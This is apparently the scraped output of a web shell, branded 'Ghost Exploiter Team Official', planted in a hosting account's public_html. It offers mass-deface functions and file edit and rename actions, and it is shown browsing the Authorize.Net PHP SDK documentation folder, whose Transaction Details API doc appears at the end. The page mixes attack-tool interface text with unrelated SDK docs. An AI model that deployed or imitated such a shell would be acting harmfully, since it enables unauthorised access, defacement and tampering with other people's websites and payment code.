webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
authorizenet
/
authorizenet
/
doc
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AIM.markdown
5.192KB
edt
ren
ARB.markdown
1.617KB
edt
ren
CIM.markdown
7.754KB
edt
ren
CP.markdown
1.177KB
edt
ren
DPM.markdown
0.782KB
edt
ren
README.md
0.313KB
edt
ren
SIM.markdown
2.313KB
edt
ren
SOAP.markdown
0.28KB
edt
ren
TD.markdown
1.544KB
edt
ren
Transaction Details API ======================= Basic Overview -------------- The AuthorizeNetTD class creates a request object for submitting requests to the Authorize.Net Transaction Details API. The AuthorizeNetTD class returns a response that uses PHP's bundled SimpleXML class for accessing it's members. The AuthorizeNetTD response provides two ways to access response elements: 1.) A SimpleXml object: ```PHP $response->xml->transaction->payment->creditCard->cardType ``` 2.) Xpath: ```PHP $batches = $response->xpath("batchList/batch"); ``` 3.) AuthorizeNet Objects (todo) Get Transaction Details ----------------------- ```PHP $request = new AuthorizeNetTD; $response = $request->getTransactionDetails($transId); echo "Amount: {$response->xml->transaction->authAmount}"; ``` Get Settled Batch List ---------------------- ```PHP $request = new AuthorizeNetTD; $response = $request->getSettledBatchList(); $batches = $response->xpath("batchList/batch"); echo "Batch 1: {$batches[0]->batchId}"; ``` Get Transaction List -------------------- ```PHP $request = new AuthorizeNetTD; $response = $request->getTransactionList($batch_id); $transactions = $response->xpath("transactions/transaction") ``` There are two additional helper methods in the PHP SDK which will make multiple calls to retrieve a day's worth of transactions or a month's worth of batches: ```PHP getTransactionsForDay($month, $day, $year = false) getSettledBatchListForMonth($month , $year) ``` If you don't pass parameters into these methods they will default to the current day/month.